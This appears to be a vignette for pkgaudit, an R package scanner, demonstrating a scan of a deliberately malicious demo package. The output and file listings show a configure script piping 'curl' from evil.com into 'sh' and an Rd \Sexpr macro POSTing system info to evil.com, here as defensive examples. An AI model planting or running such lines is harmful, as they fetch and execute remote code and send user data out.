pkgaudit scans R packages for security-relevant files and code without executing anything it scans. It reports what code does and when it runs, so code that runs on install or load is distinguishable from code that runs only when called.
A finding is not an accusation. Nearly all of the patterns and matches flagged by pkgaudit have legitimate uses in R packages. pkgaudit helps to identify what deserves reviewer attention, not what is malicious.
Example package
untrustedpkg is a small source package shipped with
pkgaudit for demonstration. It is never built, checked, installed, or
loaded; it exists only to be scanned.
tarball <- system.file(
"extdata", "untrustedpkg", "untrustedpkg_0.1.0.tar.gz",
package = "pkgaudit"
)
exdir <- file.path(tempdir(), "untrustedpkg-example")
utils::untar(tarball, exdir = exdir)
pkg <- file.path(exdir, "untrustedpkg")untrustedpkg contains the following files.
[1] "configure" "DESCRIPTION" "man/fetch_data.Rd"
[4] "R/fetch.R" "R/zzz.R"
The script that generates this package is in data-raw/create_untrustedpkg.R.
Auditing a package
audit_package() scans an untarred source package.
print() gives the scan metadata and the number of findings
by category.
result <- audit_package(pkg)
print(result, path = FALSE)
#> --- pkgaudit ----------------------------------------------------------------
#> Package: untrustedpkg v0.1.0 (source directory)
#> SHA-256: 50be0a4fe9997cb47764c1eb2026be864242314a4af6dfd634e60a358dec8171
#> Scanned: 2026-09-17 14:31 UTC with pkgaudit v0.4.0, rules v0.5.0
#>
#> File contexts: 1
#> Patterns: 4
#> Matches: 1
#> Errors: 0summary() reports the number of findings by rule and by
phase. It also provides the MITRE ATT&CK techniques associated with
each rule.
summary(result, path = FALSE)
#> --- pkgaudit Summary --------------------------------------------------------
#> Package: untrustedpkg v0.1.0 (source directory)
#> SHA-256: 50be0a4fe9997cb47764c1eb2026be864242314a4af6dfd634e60a358dec8171
#> Scanned: 2026-09-17 14:31 UTC with pkgaudit v0.4.0, rules v0.5.0
#>
#> --- R Patterns --------------------------------------------------------------
#> phase rule n attck
#> at_build httr 1 T1041
#> at_build system 1 T1059.003 T1059.004
#> at_check download_file 1 T1105
#> at_check httr 1 T1041
#> at_check system 1 T1059.003 T1059.004
#> at_install_src httr 1 T1041
#> at_install_src system 1 T1059.003 T1059.004
#> at_load system 1 T1059.003 T1059.004
#> none download_file 1 T1105
#>
#> none: reported at no phase because nothing in the package was seen to call
#> it. Code under R/ is read this way by rule; a caller elsewhere, or a user,
#> can still reach it. See vignette("rules").
#>
#> --- Shell / Make Matches ----------------------------------------------------
#> phase rule n attck
#> at_build curl 1 T1041 T1105
#> at_check curl 1 T1041 T1105
#> at_install_src curl 1 T1041 T1105
#>
#> --- Coverage ----------------------------------------------------------------
#> status top_level type files lines
#> parsed R/ R 2 6
#> parsed man/ Rd 1 12
#> matched . shell 1 3
#> unexamined . DESCRIPTION 1
#>
#> --- Errors ------------------------------------------------------------------
#> No exceptions were raised.Phases overlap – building a package with vignettes, for example, also
installs and loads it – and one occurrence is counted under every phase
it runs in. The summary above reflects five findings, some counted under
multiple phases. To see only what is known to run automatically on
library(), for example, pass an argument to
phase:
summary(result, phase = c("at_load", "at_attach"), path = FALSE)
#> --- pkgaudit Summary --------------------------------------------------------
#> Package: untrustedpkg v0.1.0 (source directory)
#> SHA-256: 50be0a4fe9997cb47764c1eb2026be864242314a4af6dfd634e60a358dec8171
#> Scanned: 2026-09-17 14:31 UTC with pkgaudit v0.4.0, rules v0.5.0
#> Phases: at_load, at_attach
#>
#> --- R Patterns --------------------------------------------------------------
#> phase rule n attck
#> at_load system 1 T1059.003 T1059.004
#>
#> --- Shell / Make Matches ----------------------------------------------------
#> No matches were found.
#>
#> --- Coverage ----------------------------------------------------------------
#> No files were found.
#>
#> --- Errors ------------------------------------------------------------------
#> No exceptions were raised.Both print() and summary() accept
path = FALSE, which omits the local filesystem path. This
can matter when sharing results, since the path may reveal a username or
directory layout.
Examining results
A pkgaudit object is a named list of ordinary data
frames, plus a named list of scan metadata, so findings can be filtered,
joined, and reported on directly.
names(result)
#> [1] "file_contexts" "patterns" "matches" "coverage"
#> [5] "errors" "metadata"File contexts
$file_contexts reports security-relevant files, whatever
they contain: R runs a configure script, which can execute
shell commands, so the script should be reviewed.
result$file_contexts[, c("rule", "file_context")]
#> rule file_context
#> 3 configure configurePatterns
$patterns reports security-relevant R calls, located by
file_context, line_number, and
column_number.
result$patterns[, c("rule", "file_context", "line_number", "column_number")]
#> rule file_context line_number column_number
#> 1 download_file R/fetch.R 2 3
#> 2 system R/zzz.R 2 3
#> 3 download_file man/fetch_data.Rd 11 1
#> 4 httr man/fetch_data.Rd 6 30Additionally, code_context indicates where code sits
within a file. File and code context are used to determine the phases.
guarded is TRUE when a call may be stopped
from running in the expected phase, e.g., code in
\dontrun{} in an \examples{} block or a code
chunk marked eval=FALSE in a vignette.
indirect is TRUE when a call is made through a
function name, e.g., do.call("system", ...) instead of
system().
result$patterns[, c("code_context", "guarded", "indirect")]
#> code_context guarded indirect
#> 1 in_function FALSE FALSE
#> 2 onLoad_base FALSE FALSE
#> 3 Rd_examples FALSE FALSE
#> 4 Rd_Sexpr_install FALSE FALSEpreview provides a snippet of the code and its
surroundings, which may allow reviewers to determine the relevance of a
finding without opening the file.
result$patterns[, c("preview")]
#> [1] "download.file(url, tempfile())"
#> [2] "system(\"uname -a\")"
#> [3] "download.file(\"https://www.evil.com/data.csv\", tempfile())"
#> [4] "httr::POST(\"https://www.evil.com/collect\", body = list(info = Sys.info()..."Matches
$matches reports text matching regular expressions in
shell and Make-like files. Its columns mirror $patterns,
but it does not have code_context, guarded, or
indirect.
result$matches[, c("rule", "file_context", "line_number", "column_number")]
#> rule file_context line_number column_number
#> 1 curl configure 3 1
result$matches[, c("preview")]
#> [1] "curl -s https://www.evil.com/evil.sh | sh"Coverage
$coverage reports what pkgaudit made of each file it
found: parsed for R, which is matched against its XML parse
tree; matched for shell and Make-like files, which are
matched as text; exportable for languages pkgaudit does not
read, such as C and Python; unexamined for files pkgaudit
did not read, such as serialized .rda and .rds
objects; and error for files pkgaudit tried to read and
could not.
result$coverage[, c("file_context", "language", "status", "reason", "lines")]
#> file_context language status reason lines
#> 1 DESCRIPTION <NA> unexamined no_extractor NA
#> 2 R/fetch.R R parsed <NA> 3
#> 3 R/zzz.R R parsed <NA> 3
#> 4 configure shell matched <NA> 3
#> 5 man/fetch_data.Rd Rd parsed <NA> 12Errors
$errors reports files that pkgaudit tried to read and
could not, with information about what may have gone wrong. pkgaudit did
not encounter errors when scanning untrustedpkg.
Metadata
$metadata is a named list of metadata.
result$metadata
#> $pkg_name
#> [1] "untrustedpkg"
#>
#> $pkg_version
#> [1] "0.1.0"
#>
#> $pkg_path
#> [1] "/tmp/RtmpW1EILr/untrustedpkg-example/untrustedpkg"
#>
#> $pkg_is_tarball
#> [1] FALSE
#>
#> $pkg_sha256
#> [1] "50be0a4fe9997cb47764c1eb2026be864242314a4af6dfd634e60a358dec8171"
#>
#> $pkgaudit_version
#> [1] "0.4.0"
#>
#> $pkgaudit_rules_version
#> [1] "0.5.0"
#>
#> $pkgaudit_rules_sha256
#> [1] "c00175fa304b75711f108a600912f8ce95dc3ea71b75a7dd7460ade5aa3a9933"
#>
#> $scanned
#> [1] "2026-09-17T14:31:54Z"Subsetting by phase
Every findings frame carries one logical column per lifecycle phase:
at_autoconf, at_build, at_check,
at_install_src, at_install_bin,
at_load, at_attach, at_unload,
at_detach. A pattern inside an ordinary function is
FALSE for all of them, since it runs only if something
calls it. These can be used to subset the data frames and see what
findings apply to each phase. For example, to see what is known to run
when untrustedpkg is loaded:
result$patterns[result$patterns$at_load,
c("rule", "file_context", "code_context")]
#> rule file_context code_context
#> 2 system R/zzz.R onLoad_baseReviewing findings
pkgaudit is a guide to human review, not a substitute for human
judgment. Below we discuss how reviewers should evaluate the four
patterns and one match for untrustedpkg and inspect the
relevant files. In this case, it appears that untrustedpkg
should not be used.
Patterns
An
\Sexpr{}macro inman/fetch_data.Rdcallshttr::POST()when the help page is rendered at build, check, and source installation. Reviewers should consider whether a help page should make an HTTP POST request and what it may send to an external host.The
\examples{}block in the same help file callsdownload.file()at check. Reviewers should verify what is downloaded. Since this depends on an external host, and what is downloaded may change over time, reviewers should also consider how the download is used – for example, could another function execute code if the file ever contained it?
\name{fetch_data}
\alias{fetch_data}
\title{Fetch Data From a URL}
\description{
Downloads the contents of \code{url} to a temporary file.
\Sexpr[results=hide]{httr::POST("https://www.evil.com/collect", body = list(info = Sys.info()))}
}
\usage{fetch_data(url)}
\arguments{\item{url}{A URL to download.}}
\examples{
download.file("https://www.evil.com/data.csv", tempfile())
}
-
.onLoad()inR/zzz.Rcallssystem()and runs when users calllibrary(). It also runs at build, check, and source installation, each of which loads the package. Whilesystem()calls are common in R packages, they are less common in lifecycle hooks like.onLoad(), and reviewers should inspect what commands would be run automatically on their systems.
.onLoad <- function(libname, pkgname) {
system("uname -a")
}
- A regular function in
R/fetch.Rcallsdownload.file(), but code inside a regular function inR/is not known to run automatically, so this pattern is reported undernone. A reviewer may still want to inspect if and when the function is called, and what would be downloaded.
fetch_data <- function(url) {
download.file(url, tempfile())
}
Matches
- The
configurescript may invokecurlat build, check, and source installation. Some R packages usecurlto fetch dependencies that cannot be vendored with the package. Reviewers should verify what is fetched and what could happen if that changes.
#!/bin/sh
echo configuring
curl -s https://www.evil.com/evil.sh | sh
Exporting findings
pkgaudit can integrate its scan with other tools.
emit_sarif() renders its results as SARIF 2.1.0, which
editors and code-scanning platforms read directly. It returns the
document as a string, which users may write to disk.
sarif <- emit_sarif(result)
substr(sarif, 1, 200)
#> {
#> "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
#> "version": "2.1.0",
#> "runs": [
#> {
#> "tool": {
#> "driver": {
#> "name": "pkgaudit",
#> "version": "0.4.0",
#> Written to a file and opened in an editor with a SARIF viewer, such
as VS Code with the SARIF
Viewer extension, each finding appears on the line it was found.
level is note for every result. When code
executes is carried in properties.phases.
export_unscanned() exports code written in languages
pkgaudit cannot read, like C and Python, to a directory for a scanner
like Semgrep that can. A whole file is copied verbatim; a vignette chunk
is written into a file of its own, blank-padded so that its code sits at
the same line numbers it occupies in the source. A finding another tool
reports at line 40 of intro.python.py would therefore be at
line 40 of intro.Rmd. untrustedpkg contains
only R and shell, so here export_unscanned() would create
an empty directory.
Auditing a tarball
audit_tarball() takes a .tar.gz,
.tgz, or .tar source package, validates it
using validate_tar(), extracts it to a temporary directory,
scans it, and removes the directory. An untrusted archive is itself an
attack surface, so validation fails closed: the whole archive is refused
rather than partially extracted.
print(audit_tarball(tarball), path = FALSE)
#> --- pkgaudit ----------------------------------------------------------------
#> Package: untrustedpkg v0.1.0 (source tarball)
#> SHA-256: 0c58ddcb365787ab7401c5eedaa4be7eb4ce6bea0a5ca290b6b7b1d8eb621d44
#> Scanned: 2026-09-17 14:31 UTC with pkgaudit v0.4.0, rules v0.5.0
#>
#> File contexts: 1
#> Patterns: 4
#> Matches: 1
#> Errors: 0The result is a pkgaudit object like any other, so
everything above applies to it unchanged.
Rule database integrity
The rules live in a versioned SQLite database shipped with the
package. load_rules() reads it;
rules_version() reports the version.
rules_version()
#> [1] "0.5.0"
rules <- load_rules()
vapply(rules, nrow, integer(1))
#> file_contexts code_contexts patterns matches phases
#> 45 10 26 11 55A modified database is one way to evade a scanner.
load_rules() verifies the database against its bundled
SHA-256 sidecar on every call and refuses to load a modified one. The
hash of an installed copy can also be checked against the value
published in the README:
digest::digest(
system.file("db", "rules.db", package = "pkgaudit"),
algo = "sha256",
file = TRUE
)
#> [1] "c00175fa304b75711f108a600912f8ce95dc3ea71b75a7dd7460ade5aa3a9933"The full rule set is documented in Rule Coverage. How pkgaudit works internally is in Internals.